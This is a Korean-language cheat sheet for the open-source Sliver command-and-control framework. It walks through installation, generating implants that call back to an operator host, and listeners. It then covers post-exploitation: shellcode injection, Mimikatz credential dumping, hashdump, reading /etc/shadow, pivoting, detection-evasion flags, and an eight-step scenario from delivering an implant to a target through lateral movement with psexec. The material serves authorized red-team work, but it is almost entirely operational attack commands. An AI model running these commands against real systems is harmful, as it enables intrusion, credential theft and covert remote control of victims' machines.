Skip to main content

Sliver

https://github.com/BishopFox/sliver

오픈소스 Command & Control (C2) 프레임워크입니다.

설치​

Linux​

# 공식 설치 스크립트
curl https://sliver.sh/install|sudo bash

# 또는 수동 다운로드
wget https://github.com/BishopFox/sliver/releases/download/v1.5.42/sliver-server_linux
chmod +x sliver-server_linux
sudo mv sliver-server_linux /usr/local/bin/sliver-server

# 클라이언트도 다운로드
wget https://github.com/BishopFox/sliver/releases/download/v1.5.42/sliver-client_linux
chmod +x sliver-client_linux
sudo mv sliver-client_linux /usr/local/bin/sliver

macOS​

# Homebrew
brew install sliver

# 또는 공식 스크립트
curl https://sliver.sh/install|sudo bash

Windows​

# GitHub Releases에서 다운로드
# https://github.com/BishopFox/sliver/releases

서버 시작​

# 서버 시작
sliver-server

# 데몬 모드
sliver-server daemon

# 특정 설정 파일
sliver-server -c /path/to/config.json

클라이언트 연결​

# 로컬 서버에 연결
sliver

# 원격 서버에 연결 (설정 파일 필요)
sliver -c /path/to/client-config.cfg

기본 명령어​

도움말​

sliver > help
sliver > help generate
sliver > help mtls

세션 관리​

# 세션 목록
sliver > sessions

# 세션 상세 정보
sliver > sessions -i <SESSION_ID>

# 세션 연결
sliver > use <SESSION_ID>

# 세션 종료
sliver > close

# 백그라운드
sliver > background

Implant 생성​

HTTP/HTTPS Implant​

# HTTP
sliver > generate --http <LHOST>:<LPORT> --save /tmp --os windows --arch amd64

# HTTPS
sliver > generate --https <LHOST>:<LPORT> --save /tmp --os windows --arch amd64

# 여러 C2 지정
sliver > generate --http <LHOST>:80 --https <LHOST>:443 --save /tmp

mTLS Implant​

# mTLS (기본, 가장 안정적)
sliver > generate --mtls <LHOST>:8888 --save /tmp --os windows --arch amd64

# Linux
sliver > generate --mtls <LHOST>:8888 --save /tmp --os linux --arch amd64

# macOS
sliver > generate --mtls <LHOST>:8888 --save /tmp --os darwin --arch amd64

DNS Implant​

sliver > generate --dns <DOMAIN> --save /tmp --os windows --arch amd64

WireGuard Implant​

sliver > generate --wg <LHOST>:51820 --save /tmp --os windows --arch amd64

추가 옵션​

# 이름 지정
sliver > generate --mtls <LHOST>:8888 --name MyImplant --save /tmp

# 실행 형식
sliver > generate --mtls <LHOST>:8888 --format exe --save /tmp
sliver > generate --mtls <LHOST>:8888 --format shared --save /tmp # DLL/SO
sliver > generate --mtls <LHOST>:8888 --format service --save /tmp # Windows Service
sliver > generate --mtls <LHOST>:8888 --format shellcode --save /tmp

# 아키텍처
sliver > generate --mtls <LHOST>:8888 --arch amd64 --save /tmp
sliver > generate --mtls <LHOST>:8888 --arch 386 --save /tmp

# 난독화
sliver > generate --mtls <LHOST>:8888 --skip-symbols --save /tmp

# 재연결 간격
sliver > generate --mtls <LHOST>:8888 --reconnect 60 --save /tmp

# 최대 연결 에러
sliver > generate --mtls <LHOST>:8888 --max-errors 10 --save /tmp

Beacon vs Session​

# Session (대화형, 실시간)
sliver > generate --mtls <LHOST>:8888 --save /tmp

# Beacon (비동기, 체크인 기반)
sliver > generate beacon --mtls <LHOST>:8888 --save /tmp --seconds 60 --jitter 30

Listener 시작​

mTLS Listener​

sliver > mtls --lhost 0.0.0.0 --lport 8888

HTTP/HTTPS Listener​

# HTTP
sliver > http --lhost 0.0.0.0 --lport 80

# HTTPS
sliver > https --lhost 0.0.0.0 --lport 443

# 커스텀 인증서
sliver > https --lhost 0.0.0.0 --lport 443 --cert /path/to/cert.pem --key /path/to/key.pem

DNS Listener​

sliver > dns --domains example.com --lhost 0.0.0.0

WireGuard Listener​

sliver > wg --lhost 0.0.0.0 --lport 51820

여러 Listener​

sliver > mtls --lhost 0.0.0.0 --lport 8888
sliver > https --lhost 0.0.0.0 --lport 443
sliver > http --lhost 0.0.0.0 --lport 80

Listener 관리​

# Listener 목록
sliver > jobs

# Listener 종료
sliver > jobs -k <JOB_ID>

Implant 사용​

시스템 정보​

# 세션 연결
sliver > use <SESSION_ID>

# 시스템 정보
sliver (SESSION) > info
sliver (SESSION) > whoami
sliver (SESSION) > getpid
sliver (SESSION) > getuid
sliver (SESSION) > getgid

파일 시스템​

# 디렉토리
sliver (SESSION) > pwd
sliver (SESSION) > ls
sliver (SESSION) > cd /tmp
sliver (SESSION) > mkdir test
sliver (SESSION) > rm file.txt
sliver (SESSION) > cat file.txt

# 파일 다운로드
sliver (SESSION) > download /path/to/file.txt
sliver (SESSION) > download /path/to/folder ./local-folder

# 파일 업로드
sliver (SESSION) > upload /local/file.txt /remote/path/file.txt

프로세스​

# 프로세스 목록
sliver (SESSION) > ps

# 프로세스 ID 찾기
sliver (SESSION) > ps -e chrome

# 프로세스 종료
sliver (SESSION) > kill <PID>

# 프로세스 덤프
sliver (SESSION) > procdump -p <PID>

명령 실행​

# 쉘 명령
sliver (SESSION) > shell whoami
sliver (SESSION) > shell ipconfig
sliver (SESSION) > shell "powershell -c Get-Process"

# 대화형 쉘
sliver (SESSION) > interactive

# 종료
exit

권한 상승​

# Windows
sliver (SESSION) > getsystem

# Linux
sliver (SESSION) > execute -o /tmp/payload

네트워크​

# 네트워크 정보
sliver (SESSION) > ifconfig
sliver (SESSION) > netstat

# 포트 스캔
sliver (SESSION) > portscan <TARGET>

스크린샷​

sliver (SESSION) > screenshot
sliver (SESSION) > screenshot -l # 모든 스크린

프로세스 주입​

# Shellcode 주입
sliver (SESSION) > execute-shellcode -p <PID> /path/to/shellcode.bin

# DLL 주입
sliver (SESSION) > execute-assembly /path/to/assembly.exe

# Migrate (프로세스 이동)
sliver (SESSION) > migrate <PID>

Pivoting & Tunneling​

SOCKS Proxy​

# SOCKS5 프록시 시작
sliver (SESSION) > socks5 start

# 프록시 정보
sliver (SESSION) > socks5 list

# 프록시 종료
sliver (SESSION) > socks5 stop -i <PROXY_ID>

Port Forward​

# 포트 포워딩
sliver (SESSION) > portfwd add --bind 127.0.0.1:8080 --remote <RHOST>:80

# 목록
sliver (SESSION) > portfwd list

# 삭제
sliver (SESSION) > portfwd rm -i <FORWARD_ID>

Pivoting​

# 피봇 추가
sliver (SESSION) > pivots tcp

# 피봇 목록
sliver (SESSION) > pivots

# 피봇 삭제
sliver (SESSION) > pivots -i <PIVOT_ID> --kill

자격증명 수집​

Mimikatz​

# Mimikatz 실행 (메모리)
sliver (SESSION) > execute-assembly --in-process /path/to/Mimikatz.exe "privilege::debug sekurlsa::logonpasswords"

# 또는 사전 컴파일된 확장
sliver (SESSION) > extensions load /path/to/extension

해시 덤프​

# SAM 덤프 (Windows)
sliver (SESSION) > hashdump

# /etc/shadow 읽기 (Linux)
sliver (SESSION) > cat /etc/shadow

Extension & Armory​

Extension 로드​

# Extension 설치
sliver > armory install all

# Extension 목록
sliver > extensions list

# Extension 로드
sliver > extensions load <NAME>

주요 Extension​

# SharpHound (BloodHound)
sliver (SESSION) > execute-assembly /path/to/SharpHound.exe -c All

# Rubeus
sliver (SESSION) > execute-assembly /path/to/Rubeus.exe kerberoast

# Seatbelt
sliver (SESSION) > execute-assembly /path/to/Seatbelt.exe -group=all

Beacon 사용​

Beacon 생성​

sliver > generate beacon --mtls <LHOST>:8888 --seconds 60 --jitter 30 --save /tmp

Beacon 명령​

# 세션과 동일하지만 비동기
sliver (BEACON) > shell whoami
sliver (BEACON) > download /path/to/file

# 즉시 체크인 강제
sliver (BEACON) > checkin

# 인터벌 변경
sliver (BEACON) > interval 120
sliver (BEACON) > jitter 50

Beacon을 Session으로 변환​

sliver (BEACON) > interactive

멀티플레이어 모드​

Operator 추가​

# Operator 생성
sliver > new-operator --name john --lhost <LHOST>

# 설정 파일 생성됨
# /root/.sliver/configs/john_<HOST>.cfg

클라이언트에서 연결​

sliver -c john_<HOST>.cfg

C2 Profile​

HTTP C2 Profile​

# 커스텀 User-Agent
sliver > profiles new --http <LHOST>:80 --name web-profile
sliver > profiles generate --name web-profile --http-header "User-Agent: Mozilla/5.0"

# URL 경로 커스텀
sliver > profiles generate --name web-profile --http-path-prefix "/api/v1"

탐지 회피​

Evasion 옵션​

# 심볼 제거
sliver > generate --mtls <LHOST>:8888 --skip-symbols --save /tmp

# 난독화
sliver > generate --mtls <LHOST>:8888 --obfuscate --save /tmp

# 서명 제거
sliver > generate --mtls <LHOST>:8888 --disable-sgn --save /tmp

# 사용자 정의 템플릿
sliver > generate --mtls <LHOST>:8888 --template /path/to/template --save /tmp

Shellcode Runner​

# Donut으로 변환
donut -a 2 -f /tmp/implant.exe -o /tmp/implant.bin

# 또는 직접 shellcode 생성
sliver > generate --mtls <LHOST>:8888 --format shellcode --save /tmp

실전 시나리오​

1단계: Listener 시작​

sliver > mtls --lhost 0.0.0.0 --lport 8888
sliver > https --lhost 0.0.0.0 --lport 443

2단계: Implant 생성​

sliver > generate --mtls <LHOST>:8888 --https <LHOST>:443 --os windows --arch amd64 --format exe --save /tmp

3단계: 타겟에 전달 및 실행​

4단계: 세션 연결​

sliver > sessions
sliver > use <SESSION_ID>

5단계: 정찰​

sliver (SESSION) > whoami
sliver (SESSION) > getprivs
sliver (SESSION) > ps
sliver (SESSION) > ifconfig

6단계: 권한 상승​

sliver (SESSION) > getsystem

7단계: 자격증명 수집​

sliver (SESSION) > hashdump

8단계: Lateral Movement​

# SOCKS 프록시
sliver (SESSION) > socks5 start

# ProxyChains 설정 후
proxychains impacket-psexec administrator@<TARGET>

참고​

  • Metasploit보다 가볍고 빠름
  • mTLS가 가장 안정적
  • Beacon 모드로 탐지 회피
  • 멀티플레이어 지원
  • Extension으로 확장 가능
  • C2 Profile로 커스터마이징
  • SOCKS 프록시로 피봇팅
  • 크로스 플랫폼 지원
  • 오픈소스 및 활발한 개발